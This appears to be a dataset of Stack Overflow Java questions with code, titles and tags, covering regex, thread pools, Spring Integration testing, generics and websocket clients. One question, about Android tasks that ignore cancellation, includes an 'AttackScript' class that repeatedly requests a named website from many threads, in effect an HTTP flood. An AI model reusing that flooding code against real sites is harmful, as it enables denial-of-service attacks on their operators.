trying to replace `` $ temp4 '' ( NOT $ temp40 ) with `` register1 '' .Outputs How do I get it to replace $ temp4 and only $ temp4 ?,"from = `` \\b '' + from + `` \\b '' ; outString = line.replaceAll ( from , to ) ; String line = `` add , $ temp4 , $ temp40 , 42 '' ; String to = `` register1 '' ; String from = `` $ temp4 '' ; String outString ; from = Matcher.quoteReplacement ( from ) ; from = `` \\b '' + from + `` \\b '' ; //do whole word replacement outString = line.replaceAll ( from , to ) ; System.out.println ( outString ) ; `` add , $ temp4 , $ temp40 , 42 ''",Matching a whole word with leading or trailing special symbols like dollar in a string +Java,I have this entry in web.xml Tried Ctrl+Shift+D to open debug mode but did n't work and bookmarking for my browser gets opened.So put a page level debug.The debug results now opens in another window but does n't load component tree information ( scoped variables are displayed though ) .,< context-param > < param-name > facelets.DEVELOPMENT < /param-name > < param-value > true < /param-value > < /context-param > < ui : debug hotkey= '' z '' rendered= '' true '' / >,facelet debug mode not working +Java,"I have implemented a very simple method : I do n't like the whole method because I think it 's more complicated than necessary , especially the if condition.So I thought of a way to refactor this method . First I thought of using Regex to replace the if condition , but is n't regex a little bit too much for this simple case ? Any other ideas how to reafctor this ?","private String getProfileName ( String path ) { String testPath = null ; for ( int i = 0 ; i < path.length ( ) ; i++ ) { testPath = path.substring ( 0 , i ) ; if ( testPath.endsWith ( `` 1 '' ) || testPath.endsWith ( `` 2 '' ) || testPath.endsWith ( `` 3 '' ) || testPath.endsWith ( `` 4 '' ) || testPath.endsWith ( `` 5 '' ) || testPath.endsWith ( `` 6 '' ) || testPath.endsWith ( `` 7 '' ) || testPath.endsWith ( `` 8 '' ) || testPath.endsWith ( `` 9 '' ) ) { break ; } } return testPath.substring ( 0 , ( testPath.length ( ) - 1 ) ) ; }",What 's the most effective way to refactor this simple method ? +Java,"I often see java SourceCode where a null as value for a method or constructor is not allowed . A Typical implementation of this looks likeI see no sense for myself in that at all , because if I attempt to call a Method on a nullPointer the NullPointerException is thrown anyways . I would see a sense if this method would throw an IllegalArgumentException or some other custom-made exception . Can someone clearify , why this check seems to makes sense ( as I see it very often I 'm assuming , that there has to be sense behind that ) , or why it 's complete nonsense",public void someMethod ( Object someObject ) { if ( someObject == null ) throw new NullPointerException ( ) someObject.aMethodCall ( ) },Does it make sense to self check for null in Java +Java,Is there a difference between configuring a Thread pool using the following configurations : versus doing : I am not interested in configuring the thread pool during runtime ( which is I think the main driver for using ThreadPoolTaskExecutor ) .,Executors.newFixedThreadPool ( 50 ) ; ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor ( ) ; executor.setCorePoolSize ( 50 ) ; executor.setThreadNamePrefix ( `` thread-pool '' ) ; executor.initialize ( ) ;,What is the difference between a FixedThreadPool and ThreadPoolTaskExecutor ? +Java,"I want to replace all the occurrences of a group in a string.The result I am trying to obtain is # # # , # # . # # 0.000000000Basically , I want to replace all # symbols that are trailing the .0.I 've found this about dynamic replacement but I ca n't really make it work . The optimal solution will not take into account the number of hashes to be replaced ( if that clears any confusion ) .","String test = `` # # # , # # . # # 0.0 # # # # # # # # '' ; System.out.println ( test ) ; test = test.replaceAll ( `` \\.0 ( # ) '' , `` 0 '' ) ; System.out.println ( test ) ;",Replace all occurrences of group +Java,"I have couple of supplied interfacesand a class that implements the first : If I can not change any interface what would be the best course of action while keeping the implementation as generic as possible ? EDITSome other code which I can not break instantiates SimpleFinder < ClassA , ClassB > so I should have two generic types in the implementation as well .","public interface Finder < S extends Stack < T > , T extends Item > { public S find ( S s , int a ) ; } public interface Stack < T extends Item > { Stack < T > getCopy ( ) ; } public class SimpleFinder < S extends Stack < T > , T extends Item > implements Finder < S , T > { public S find ( S s , int a ) { S stack = ... . ; ... stack = s.getCopy ( ) ; \\Error : incompatible types \\ required : S \\ found : Stack < T > ... .. return stack ; } }",Assign a subclass of a Generic class to a super class of this class +Java,"Executors # newFixedThreadPool : Executors # newCachedThreadPool : Why the two threadPool use different Queue ? I have looked up java doc about LinkedBlockingQueue and SynchronousQueue , but I still do n't know why they are used here , Is performance considering or others ?","public static ExecutorService newFixedThreadPool ( int nThreads ) { return new ThreadPoolExecutor ( nThreads , nThreads , 0L , TimeUnit.MILLISECONDS , new LinkedBlockingQueue < Runnable > ( ) ) ; } public static ExecutorService newCachedThreadPool ( ) { return new ThreadPoolExecutor ( 0 , Integer.MAX_VALUE , 60L , TimeUnit.SECONDS , new SynchronousQueue < Runnable > ( ) ) ; }",Why use different Queue when creating FixedThreadPool and CachedThreadPool ? +Java,I have implemented an IntegrationFlow where I want to do to following tasks : Poll for files from a directoryTransform the file content to a stringSend the string via WebFluxRequestExecutingMessageHandler to a REST-Endpoint and use an AdviceChain to handle success and error responsesImplementationSo far it seems to work in production . In the test I want to do the following steps : Copy JSON-Files to the input directoryStart the polling for the json filesDo assertions on the HTTP-Response from the WebFluxRequestExecutingMessageHandler which are routed through my advice chainBut I 'm struggling in the test with the following tasks : Mocking the WebFluxRequestExecutingMessageHandler with the MockIntegrationContext.substituteMessageHandlerFor ( ) -methodManually start the polling of the json filesTestUpdated Working Example with mocked WebFluX web client : ImplementationTest,"@ Configuration @ Slf4jpublic class JsonToRestIntegration { @ Autowired private LoadBalancerExchangeFilterFunction lbFunction ; @ Value ( `` $ { json_folder } '' ) private String jsonPath ; @ Value ( `` $ { json_success_folder } '' ) private String jsonSuccessPath ; @ Value ( `` $ { json_error_folder } '' ) private String jsonErrorPath ; @ Value ( `` $ { rest-service-url } '' ) private String restServiceUrl ; @ Bean public DirectChannel httpResponseChannel ( ) { return new DirectChannel ( ) ; } @ Bean public MessageChannel successChannel ( ) { return new DirectChannel ( ) ; } @ Bean public MessageChannel failureChannel ( ) { return new DirectChannel ( ) ; } @ Bean ( name = PollerMetadata.DEFAULT_POLLER ) public PollerMetadata poller ( ) { return Pollers.fixedDelay ( 1000 ) .get ( ) ; } @ Beanpublic IntegrationFlow jsonFileToRestFlow ( ) { return IntegrationFlows .from ( fileReadingMessageSource ( ) , e - > e.id ( `` fileReadingEndpoint '' ) ) .transform ( org.springframework.integration.file.dsl.Files.toStringTransformer ( ) ) .enrichHeaders ( s - > s.header ( `` Content-Type '' , `` application/json ; charset=utf8 '' ) ) .handle ( reactiveOutbound ( ) ) .log ( ) .channel ( httpResponseChannel ( ) ) .get ( ) ; } @ Bean public FileReadingMessageSource fileReadingMessageSource ( ) { FileReadingMessageSource source = new FileReadingMessageSource ( ) ; source.setDirectory ( new File ( jsonPath ) ) ; source.setFilter ( new SimplePatternFileListFilter ( `` *.json '' ) ) ; source.setUseWatchService ( true ) ; source.setWatchEvents ( FileReadingMessageSource.WatchEventType.CREATE ) ; return source ; } @ Bean public MessageHandler reactiveOutbound ( ) { WebClient webClient = WebClient.builder ( ) .baseUrl ( `` http : //jsonservice '' ) .filter ( lbFunction ) .build ( ) ; WebFluxRequestExecutingMessageHandler handler = new WebFluxRequestExecutingMessageHandler ( restServiceUrl , webClient ) ; handler.setHttpMethod ( HttpMethod.POST ) ; handler.setCharset ( StandardCharsets.UTF_8.displayName ( ) ) ; handler.setOutputChannel ( httpResponseChannel ( ) ) ; handler.setExpectedResponseType ( String.class ) ; handler.setAdviceChain ( singletonList ( expressionAdvice ( ) ) ) ; return handler ; } public Advice expressionAdvice ( ) { ExpressionEvaluatingRequestHandlerAdvice advice = new ExpressionEvaluatingRequestHandlerAdvice ( ) ; advice.setTrapException ( true ) ; advice.setSuccessChannel ( successChannel ( ) ) ; advice.setOnSuccessExpressionString ( `` payload + ' war erfolgreich ' '' ) ; advice.setFailureChannel ( failureChannel ( ) ) ; advice.setOnFailureExpressionString ( `` payload + ' war nicht erfolgreich ' '' ) ; return advice ; } @ Bean public IntegrationFlow loggingFlow ( ) { return IntegrationFlows.from ( httpResponseChannel ( ) ) .handle ( message - > { String originalFileName = ( String ) message.getHeaders ( ) .get ( FileHeaders.FILENAME ) ; log.info ( `` some log '' ) ; } ) .get ( ) ; } @ Bean public IntegrationFlow successFlow ( ) { return IntegrationFlows.from ( successChannel ( ) ) .handle ( message - > { MessageHeaders messageHeaders = ( ( AdviceMessage ) message ) .getInputMessage ( ) .getHeaders ( ) ; File originalFile = ( File ) messageHeaders.get ( ORIGINAL_FILE ) ; String originalFileName = ( String ) messageHeaders.get ( FILENAME ) ; if ( originalFile ! = null & & originalFileName ! = null ) { File jsonSuccessFolder = new File ( jsonSuccessPath ) ; File jsonSuccessFile = new File ( jsonSuccessFolder , originalFileName ) ; try { Files.move ( originalFile.toPath ( ) , jsonSuccessFile.toPath ( ) ) ; } catch ( IOException e ) { log.error ( `` some log '' , e ) ; } } } ) .get ( ) ; } @ Bean public IntegrationFlow failureFlow ( ) { return IntegrationFlows.from ( failureChannel ( ) ) .handle ( message - > { Message < ? > failedMessage = ( ( MessagingException ) message.getPayload ( ) ) .getFailedMessage ( ) ; if ( failedMessage ! = null ) { File originalFile = ( File ) failedMessage.getHeaders ( ) .get ( FileHeaders.ORIGINAL_FILE ) ; String originalFileName = ( String ) failedMessage.getHeaders ( ) .get ( FileHeaders.FILENAME ) ; if ( originalFile ! = null & & originalFileName ! = null ) { File jsonErrorFolder = new File ( tonisJsonErrorPath ) ; File jsonErrorFile = new File ( jsonErrorFolder , originalFileName ) ; try { Files.move ( originalFile.toPath ( ) , jsonErrorFile.toPath ( ) ) ; } catch ( IOException e ) { log.error ( `` some log '' , e ) ; } } } } ) .get ( ) ; } } @ RunWith ( SpringRunner.class ) @ SpringIntegrationTest ( ) @ Import ( { JsonToRestIntegration.class } ) @ JsonTestpublic class JsonToRestIntegrationTest { @ Autowired public DirectChannel httpResponseChannel ; @ Value ( `` $ { json_folder } '' ) private String jsonPath ; @ Value ( `` $ { json_success_folder } '' ) private String jsonSuccessPath ; @ Value ( `` $ { json_error_folder } '' ) private String jsonErrorPath ; @ Autowired private MockIntegrationContext mockIntegrationContext ; @ Autowired private MessageHandler reactiveOutbound ; @ Before public void setUp ( ) throws Exception { Files.createDirectories ( Paths.get ( jsonPath ) ) ; Files.createDirectories ( Paths.get ( jsonSuccessPath ) ) ; Files.createDirectories ( Paths.get ( jsonErrorPath ) ) ; } @ After public void tearDown ( ) throws Exception { FileUtils.deleteDirectory ( new File ( jsonPath ) ) ; FileUtils.deleteDirectory ( new File ( jsonSuccessPath ) ) ; FileUtils.deleteDirectory ( new File ( jsonErrorPath ) ) ; } @ Test public void shouldSendJsonToRestEndpointAndReceiveOK ( ) throws Exception { File jsonFile = new ClassPathResource ( `` /test.json '' ) .getFile ( ) ; Path targetFilePath = Paths.get ( jsonPath + `` / '' + jsonFile.getName ( ) ) ; Files.copy ( jsonFile.toPath ( ) , targetFilePath ) ; httpResponseChannel.subscribe ( httpResponseHandler ( ) ) ; this.mockIntegrationContext.substituteMessageHandlerFor ( `` '' , reactiveOutbound ) ; } private MessageHandler httpResponseHandler ( ) { return message - > Assert.assertThat ( message.getPayload ( ) , is ( notNullValue ( ) ) ) ; } @ Configuration @ Import ( { JsonToRestIntegration.class } ) public static class JsonToRestIntegrationTest { @ Autowired public MessageChannel httpResponseChannel ; @ Bean public MessageHandler reactiveOutbound ( ) { ArgumentCaptor < Message < ? > > messageArgumentCaptor = ArgumentCaptor.forClass ( Message.class ) ; MockMessageHandler mockMessageHandler = mockMessageHandler ( messageArgumentCaptor ) .handleNextAndReply ( m - > m ) ; mockMessageHandler.setOutputChannel ( httpResponseChannel ) ; return mockMessageHandler ; } } } public class JsonToRestIntegration { private final LoadBalancerExchangeFilterFunction lbFunction ; private final BatchConfigurationProperties batchConfigurationProperties ; @ Bean public DirectChannel httpResponseChannel ( ) { return new DirectChannel ( ) ; } @ Bean public DirectChannel errorChannel ( ) { return new DirectChannel ( ) ; } @ Bean ( name = PollerMetadata.DEFAULT_POLLER ) public PollerMetadata poller ( ) { return Pollers.fixedDelay ( 100 , TimeUnit.MILLISECONDS ) .get ( ) ; } @ Bean public IntegrationFlow jsonFileToRestFlow ( ) { return IntegrationFlows .from ( fileReadingMessageSource ( ) , e - > e.id ( `` fileReadingEndpoint '' ) ) .transform ( org.springframework.integration.file.dsl.Files.toStringTransformer ( `` UTF-8 '' ) ) .enrichHeaders ( s - > s.header ( `` Content-Type '' , `` application/json ; charset=utf8 '' ) ) .handle ( reactiveOutbound ( ) ) .channel ( httpResponseChannel ( ) ) .get ( ) ; } @ Bean public FileReadingMessageSource fileReadingMessageSource ( ) { FileReadingMessageSource source = new FileReadingMessageSource ( ) ; source.setDirectory ( new File ( batchConfigurationProperties.getJsonImportFolder ( ) ) ) ; source.setFilter ( new SimplePatternFileListFilter ( `` *.json '' ) ) ; source.setUseWatchService ( true ) ; source.setWatchEvents ( FileReadingMessageSource.WatchEventType.CREATE ) ; return source ; } @ Bean public WebFluxRequestExecutingMessageHandler reactiveOutbound ( ) { WebClient webClient = WebClient.builder ( ) .baseUrl ( `` http : //service '' ) .filter ( lbFunction ) .build ( ) ; WebFluxRequestExecutingMessageHandler handler = new WebFluxRequestExecutingMessageHandler ( batchConfigurationProperties.getServiceUrl ( ) , webClient ) ; handler.setHttpMethod ( HttpMethod.POST ) ; handler.setCharset ( StandardCharsets.UTF_8.displayName ( ) ) ; handler.setOutputChannel ( httpResponseChannel ( ) ) ; handler.setExpectedResponseType ( String.class ) ; handler.setAdviceChain ( singletonList ( expressionAdvice ( ) ) ) ; return handler ; } public Advice expressionAdvice ( ) { ExpressionEvaluatingRequestHandlerAdvice advice = new ExpressionEvaluatingRequestHandlerAdvice ( ) ; advice.setTrapException ( true ) ; advice.setFailureChannel ( errorChannel ( ) ) ; return advice ; } @ Bean public IntegrationFlow responseFlow ( ) { return IntegrationFlows.from ( httpResponseChannel ( ) ) .handle ( message - > { MessageHeaders messageHeaders = message.getHeaders ( ) ; File originalFile = ( File ) messageHeaders.get ( ORIGINAL_FILE ) ; String originalFileName = ( String ) messageHeaders.get ( FILENAME ) ; if ( originalFile ! = null & & originalFileName ! = null ) { File jsonSuccessFolder = new File ( batchConfigurationProperties.getJsonSuccessFolder ( ) ) ; File jsonSuccessFile = new File ( jsonSuccessFolder , originalFileName ) ; try { Files.move ( originalFile.toPath ( ) , jsonSuccessFile.toPath ( ) ) ; } catch ( IOException e ) { log.error ( `` Could not move file '' , e ) ; } } } ) .get ( ) ; } @ Bean public IntegrationFlow failureFlow ( ) { return IntegrationFlows.from ( errorChannel ( ) ) .handle ( message - > { Message < ? > failedMessage = ( ( MessagingException ) message.getPayload ( ) ) .getFailedMessage ( ) ; if ( failedMessage ! = null ) { File originalFile = ( File ) failedMessage.getHeaders ( ) .get ( ORIGINAL_FILE ) ; String originalFileName = ( String ) failedMessage.getHeaders ( ) .get ( FILENAME ) ; if ( originalFile ! = null & & originalFileName ! = null ) { File jsonErrorFolder = new File ( batchConfigurationProperties.getJsonErrorFolder ( ) ) ; File jsonErrorFile = new File ( jsonErrorFolder , originalFileName ) ; try { Files.move ( originalFile.toPath ( ) , jsonErrorFile.toPath ( ) ) ; } catch ( IOException e ) { log.error ( `` Could not move file '' , originalFileName , e ) ; } } } } ) .get ( ) ; } } @ RunWith ( SpringRunner.class ) @ SpringIntegrationTest ( noAutoStartup = `` fileReadingEndpoint '' ) @ Import ( { JsonToRestIntegration.class , BatchConfigurationProperties.class } ) @ JsonTest @ DirtiesContext ( classMode = DirtiesContext.ClassMode.AFTER_EACH_TEST_METHOD ) public class JsonToRestIntegrationIT { private static final FilenameFilter JSON_FILENAME_FILTER = ( dir , name ) - > name.endsWith ( `` .json '' ) ; @ Autowired private BatchConfigurationProperties batchConfigurationProperties ; @ Autowired private ObjectMapper om ; @ Autowired private MessageHandler reactiveOutbound ; @ Autowired private DirectChannel httpResponseChannel ; @ Autowired private DirectChannel errorChannel ; @ Autowired private FileReadingMessageSource fileReadingMessageSource ; @ Autowired private SourcePollingChannelAdapter fileReadingEndpoint ; @ MockBean private LoadBalancerExchangeFilterFunction lbFunction ; private String jsonImportPath ; private String jsonSuccessPath ; private String jsonErrorPath ; @ Before public void setUp ( ) throws Exception { jsonImportPath = batchConfigurationProperties.getJsonImportFolder ( ) ; jsonSuccessPath = batchConfigurationProperties.getJsonSuccessFolder ( ) ; jsonErrorPath = batchConfigurationProperties.getJsonErrorFolder ( ) ; Files.createDirectories ( Paths.get ( jsonImportPath ) ) ; Files.createDirectories ( Paths.get ( jsonSuccessPath ) ) ; Files.createDirectories ( Paths.get ( jsonErrorPath ) ) ; } @ After public void tearDown ( ) throws Exception { FileUtils.deleteDirectory ( new File ( jsonImportPath ) ) ; FileUtils.deleteDirectory ( new File ( jsonSuccessPath ) ) ; FileUtils.deleteDirectory ( new File ( jsonErrorPath ) ) ; } @ Test public void shouldMoveJsonFileToSuccessFolderWhenHttpResponseIsOk ( ) throws Exception { final CountDownLatch latch = new CountDownLatch ( 1 ) ; httpResponseChannel.addInterceptor ( new ChannelInterceptorAdapter ( ) { @ Override public void postSend ( Message < ? > message , MessageChannel channel , boolean sent ) { latch.countDown ( ) ; super.postSend ( message , channel , sent ) ; } } ) ; errorChannel.addInterceptor ( new ChannelInterceptorAdapter ( ) { @ Override public void postSend ( Message < ? > message , MessageChannel channel , boolean sent ) { fail ( ) ; } } ) ; ClientHttpConnector httpConnector = new HttpHandlerConnector ( ( request , response ) - > { response.setStatusCode ( HttpStatus.OK ) ; response.getHeaders ( ) .setContentType ( MediaType.APPLICATION_JSON_UTF8 ) ; DataBufferFactory bufferFactory = response.bufferFactory ( ) ; String valueAsString = null ; try { valueAsString = om.writeValueAsString ( new ResponseDto ( `` 1 '' ) ) ; } catch ( JsonProcessingException e ) { fail ( ) ; } return response.writeWith ( Mono.just ( bufferFactory.wrap ( valueAsString.getBytes ( ) ) ) ) .then ( Mono.defer ( response : :setComplete ) ) ; } ) ; WebClient webClient = WebClient.builder ( ) .clientConnector ( httpConnector ) .build ( ) ; new DirectFieldAccessor ( this.reactiveOutbound ) .setPropertyValue ( `` webClient '' , webClient ) ; File jsonFile = new ClassPathResource ( `` /test.json '' ) .getFile ( ) ; Path targetFilePath = Paths.get ( jsonImportPath + `` / '' + jsonFile.getName ( ) ) ; Files.copy ( jsonFile.toPath ( ) , targetFilePath ) ; fileReadingEndpoint.start ( ) ; assertThat ( latch.await ( 12 , TimeUnit.SECONDS ) , is ( true ) ) ; File [ ] jsonImportFolder = new File ( jsonImportPath ) .listFiles ( JSON_FILENAME_FILTER ) ; assertThat ( filesInJsonImportFolder , is ( notNullValue ( ) ) ) ; assertThat ( filesInJsonImportFolder.length , is ( 0 ) ) ; File [ ] filesInJsonSuccessFolder = new File ( jsonSuccessPath ) .listFiles ( JSON_FILENAME_FILTER ) ; assertThat ( filesInJsonSuccessFolder , is ( notNullValue ( ) ) ) ; assertThat ( filesInJsonSuccessFolder.length , is ( 1 ) ) ; File [ ] filesInJsonErrorFolder = new File ( jsonErrorPath ) .listFiles ( JSON_FILENAME_FILTER ) ; assertThat ( filesInJsonErrorFolder , is ( notNullValue ( ) ) ) ; assertThat ( filesInJsonErrorFolder.length , is ( 0 ) ) ; } @ Test public void shouldMoveJsonFileToErrorFolderWhenHttpResponseIsNotOk ( ) throws Exception { final CountDownLatch latch = new CountDownLatch ( 1 ) ; errorChannel.addInterceptor ( new ChannelInterceptorAdapter ( ) { @ Override public void postSend ( Message < ? > message , MessageChannel channel , boolean sent ) { latch.countDown ( ) ; super.postSend ( message , channel , sent ) ; } } ) ; httpResponseChannel.addInterceptor ( new ChannelInterceptorAdapter ( ) { @ Override public void postSend ( Message < ? > message , MessageChannel channel , boolean sent ) { fail ( ) ; } } ) ; ClientHttpConnector httpConnector = new HttpHandlerConnector ( ( request , response ) - > { response.setStatusCode ( HttpStatus.BAD_REQUEST ) ; response.getHeaders ( ) .setContentType ( MediaType.APPLICATION_JSON_UTF8 ) ; DataBufferFactory bufferFactory = response.bufferFactory ( ) ; return response.writeWith ( Mono.just ( bufferFactory.wrap ( `` SOME BAD REQUEST '' .getBytes ( ) ) ) ) .then ( Mono.defer ( response : :setComplete ) ) ; } ) ; WebClient webClient = WebClient.builder ( ) .clientConnector ( httpConnector ) .build ( ) ; new DirectFieldAccessor ( this.reactiveOutbound ) .setPropertyValue ( `` webClient '' , webClient ) ; File jsonFile = new ClassPathResource ( `` /error.json '' ) .getFile ( ) ; Path targetFilePath = Paths.get ( jsonImportPath + `` / '' + jsonFile.getName ( ) ) ; Files.copy ( jsonFile.toPath ( ) , targetFilePath ) ; fileReadingEndpoint.start ( ) ; assertThat ( latch.await ( 11 , TimeUnit.SECONDS ) , is ( true ) ) ; File [ ] filesInJsonImportFolder = new File ( jsonImportPath ) .listFiles ( JSON_FILENAME_FILTER ) ; assertThat ( filesInJsonImportFolder , is ( notNullValue ( ) ) ) ; assertThat ( filesInJsonImportFolder.length , is ( 0 ) ) ; File [ ] filesInJsonSuccessFolder = new File ( jsonSuccessPath ) .listFiles ( JSON_FILENAME_FILTER ) ; assertThat ( filesInJsonSuccessFolder , is ( notNullValue ( ) ) ) ; assertThat ( filesInJsonSuccessFolder.length , is ( 0 ) ) ; File [ ] filesInJsonErrorFolder = new File ( jsonErrorPath ) .listFiles ( JSON_FILENAME_FILTER ) ; assertThat ( filesInJsonErrorFolder , is ( notNullValue ( ) ) ) ; assertThat ( filesInJsonErrorFolder.length , is ( 1 ) ) ; } }",How to mock WebFluxRequestExecutingMessageHandler with MockIntegrationContext.substituteMessageHandlerFor +Java,"The following Codeproduces an empty line between `` Start '' and `` End '' on the java console under windows , but works as expected when running MacOS or Linux . Same applies when writing to a file instead of using sysout . I 've tried multiple windows machines . It does n't matter whether I execute the method through eclipse or via cmd.When you change `` 1234 `` to `` 1234 , '' or `` 12g4 `` or when the number of runs is more/less than 936 , it works as expected with all OS . Can anybody confirm this/is there a known bug concerning this issue ?",System.out.println ( `` Start '' ) ; String s = `` '' ; //936 * 5 = 4680 charactersfor ( int i = 0 ; i < 937 ; i++ ) { s += `` 1234 `` ; } System.out.println ( s ) ; System.out.println ( `` End '' ) ;,Java console bug under windows +Java,"I have a Jersey application running on embedded Grizzly , that is initialized like the following : What i want to achieve is let the running requests finish when shutting down , but not let new requests in . I could n't find a way to achieve this through public methods of HttpServer , or not even with private methods and such ( although it is not nice , a solution by accessing private stuff through reflection is also ok ) Does anyone know how this is possible ?","HttpServer httpServer = GrizzlyServerFactory.createHttpServer ( BASE_URI , rc ) ;",Is it possible to setup Grizzly for graceful shutdown ? +Java,"This occured while I was tackling a 'Cracking the Coding interview ' question : Write a function to swap a number in place ( that is , without temporary variables ) I decided to write up my solution in Java ( because I plan on using Java in my internship interviews . ) I came up with a solution that I was almost confident was the right answer ( because I did it in one line ) : Surely enough , this code executes the desired result . a == 7 and b == 5.Now here 's the funny part.This code wo n't run in C++ nor is this solution in the back of the book.So my question is : Why exactly does my solution work ? I am assuming Java does things differently than other languages ?",public static void main ( String args [ ] ) { int a = 5 ; int b = 7 ; a = b - a + ( b = a ) ; System.out.println ( `` a : `` + a + `` b : `` + b ) ; },Java assignment operator behavior vs C++ +Java,"I need to do the following arithmetic : While the result is guaranteed to fit in long , the multiplication is not , so it can overflow.I tried to do it step by step ( first multiply and then divide ) while dealing with the overflow by splitting the intermediate result of a*b into an int array in size of max 4 ( much like the BigInteger is using its int [ ] mag variable ) .Here I got stuck with the division . I can not get my head around the bitwise shifts required to do a precise division . All I need is the quotient ( do n't need the remainder ) .The hypothetical method would be : Also , I am not considering using BigInteger as this part of the code needs to be fast ( I would like to stick to using primitives and primitive arrays ) .Any help would be much appreciated ! Edit : I am not trying to implement the whole BigInteger myself . What I am trying to do is to solve a specific problem ( a*b/c , where a*b can overflow ) faster than using the generic BigInteger.Edit2 : It would be ideal if it could be done in a clever way , by not getting overflow at all , some tips surfaced in the comments , but I am still looking for one that is correct.Update : I tried to port BigInteger code to my specific needs , without object creation , and in the first iteration , I got ~46 % improvement in speed comparing to using BigInteger ( on my development pc ) .Then I tried a bit modified @ David Eisenstat solution , which gave me ~56 % ( I ran 100_000_000_000 random inputs from Long.MIN_VALUE to Long.MAX_VALUE ) reduced run times ( more than 2x ) comparing to BigInteger ( that is ~18 % compared to my adapted BigInteger algo ) .There will be more iterations on optimization and testing , but at this point , I think I must accept this answer as the best .","long a , b , c ; long result = a*b/c ; public static long divide ( int [ ] dividend , long divisor )",( a * b ) / c MulDiv and dealing with overflow from intermediate multiplication +Java,"We 've recently started running into crashes in our Android app due to the app being open in multiple processes . Several different errors point towards that . For instance this error : com.google.firebase.database.DatabaseException : Failed to gain exclusive lock to Firebase Database 's offline persistence . This generally means you are using Firebase Database from multiple processes in your app . Keep in mind that multi-process Android apps execute the code in your Application class in all processes , so you may need to avoid initializing FirebaseDatabase in your Application class . If you are intentionally using Firebase Database from multiple processes , you can only enable offline persistence ( i.e . call setPersistenceEnabled ( true ) ) in one of them.We are also seeing similar errors from SQLite and H2 . This is a new issue and we have not explicitly allowed multiple processes to run . Nothing in our AndroidManifest.xml specifies a custom android : process attribute . I suspect that some third party library is causing this . How do I identify the root cause of the multiple processes and how do I prevent it ? Another of our apps is connecting to this app via a ContentProvider . At first I thought that it having android : multiprocess= '' true '' was the culprit but changing it to `` false '' did not help . I still suspect that the other app is somehow triggering the creation of a new process . This is how to the ContentProvider is defined :",< provider android : name= '' .DegooContentProvider '' android : authorities= '' $ { applicationId } .DegooContentProvider '' android : exported= '' true '' android : protectionLevel= '' signature '' android : multiprocess= '' false '' > < /provider >,Ensure Android app runs in a single process +Java,"Edit : To test this problem outside of Android environment I 've created a Java application that creates an ExecutorService , provides a task of AttackScript ( identical class ) and then terminates . This works 100 % as expected , the thread is interrupted and the task is stopped . You do n't even have to cancel a task by its Future.cancel ( true ) . ExecutorService.shutdownNow ( ) does the job . Is there something in the Android 's Service that somehow messes with the thread pool ? Code that works as expcepted : Original post : I have an Android Service where it includes an ExecutorService field , responsible to run some tasks.The tasks are objects of the AttackScript class . I cache the Future references in a Map < String , Future > , called tasks , so that I will be able to cancel them later.In Service'sonDestroy ( ) ( called when user presses a notification button ) I am cancelling all tasksand then shutdown the executor : Finally here is the AttackScript class : The weird part is that rarely , like 1 out of 10 , tasks are interrupted and AttackScript 's execution stops . But the other 9 the tasks were not interrupted , continuing to openStreams ( ) on URLs .","public static void main ( String [ ] args ) { AttackScript script = new AttackScript ( `` http : //ninjaflex.com/ '' ) ; ExecutorService executor = Executors.newFixedThreadPool ( 5 ) ; executor.submit ( script ) ; executor.submit ( script ) ; executor.submit ( script ) ; executor.submit ( script ) ; sleep ( 1300 ) ; // Automatically interrupts threads in the pool . executor.shutdownNow ( ) ; } private static void sleep ( long timeMilli ) { try { Thread.sleep ( timeMilli ) ; } catch ( Exception e ) { System.out.println ( `` Error sleep ( ) '' ) ; } } Future future = executor.submit ( new AttackScript ( attack.getWebsite ( ) ) ) ; tasks.put ( attack.getPushId ( ) , future ) ; private void cancelAllTasks ( ) { for ( Map.Entry < String , Future > futureEntry : tasks.entrySet ( ) ) { futureEntry.getValue ( ) .cancel ( true ) ; } } private void shutdownThreadPool ( ) { // https : //www.baeldung.com/java-executor-service-tutorial executor.shutdown ( ) ; try { if ( executor.awaitTermination ( 800 , TimeUnit.MILLISECONDS ) ) executor.shutdownNow ( ) ; } catch ( InterruptedException e ) { executor.shutdownNow ( ) ; } } public class AttackScript implements Runnable { private static final String TAG = `` AttackScript '' ; private URL url ; public AttackScript ( String website ) { initializeUrl ( website ) ; } private void initializeUrl ( String website ) { try { url = new URL ( website ) ; } catch ( MalformedURLException e ) { Log.e ( TAG , `` Wrong url ? `` , e ) ; } } @ Override public void run ( ) { while ( ! Thread.currentThread ( ) .isInterrupted ( ) ) { readUrl ( ) ; } Log.d ( TAG , `` Stopped requesting from `` + url + `` server . `` ) ; } private void readUrl ( ) { InputStream in = null ; try { in = url.openStream ( ) ; } catch ( IOException e ) { Log.e ( TAG , `` openStream ( ) error . `` , e ) ; } finally { closeInputStream ( in ) ; } } private void closeInputStream ( InputStream in ) { try { in.close ( ) ; Log.d ( TAG , `` InputStream closed for `` + url ) ; } catch ( IOException e ) { Log.e ( TAG , `` Error while closing the input stream . `` , e ) ; } } }",Ca n't interrupt tasks of ExecutorService +Java,"I have some BaseClass with some method void doSomething ( ) .There are different ways to foSomething and they are implemented by SubClass1 , SubClass2 and SubClass3.Now I want to add a Boolean active property to the BaseClass so that when doSomething is called on an instance it will just return without doing anything.I know I can code the BaseClass to have doSomething ( ) that looks something like : And then @ Override actuallyDoSomething ( ) instead of @ Override doSomething ( ) in the subclasses.but it feels wrong ... in the sense that It has already been agreed that the subclasses should provide an implementation for doSomething ( ) and they are not aware of actuallyDoSomething ( ) .I also can have each sub class add an if ( ! this.getActive ( ) ) return ; at the beginning of its implementation of doSomething ( ) but this also seems wrong as its common functionality that I would prefer to keep common.What is the common/best practice way to do this ? Can it be done without changing the sub classes ? UpdateThe focus of the Q is not about the right way to design such functionality ( which is quite simple ) , but on how such functionality can be added to an existing scenario without breaking anything.active would be true by default , but it is desired that on any instance of any the said sub classes if someone would call setActive ( false ) then it will become inactive and consecutive calls to .doSomething ( ) will not do anything ...",Void doSomething ( ) { if ( this.getActive ( ) ) actuallyDoSomething ( ) ; },How to add control over invoking of methods in existing sub classes without modifying the sub classes ? +Java,"I am working on an open source project , Storj . I am writing a Java client which connects to a Node.js websocket backend . The client uses Tyrus . The communication should go as follows : ConnectClient sends auth token ( text ) .Server sends a file back ( binary ) .Server closes connection.I am having problems as my @ OnMessage never gets called . I have tried with a simple javascript client online here to the same URL and with the same token : https : //www.websocket.org/echo.htmlI do get a response using this , which tells me something is wrong with the Java project.Before being able to download the file , at an earlier stage , I am able to upload the file without any problems . However , that step does not require an @ OnMessage to be called ( It just uploads the file and then the server disconnects with a message ) , so I am not sure if my @ OnMessage is ever 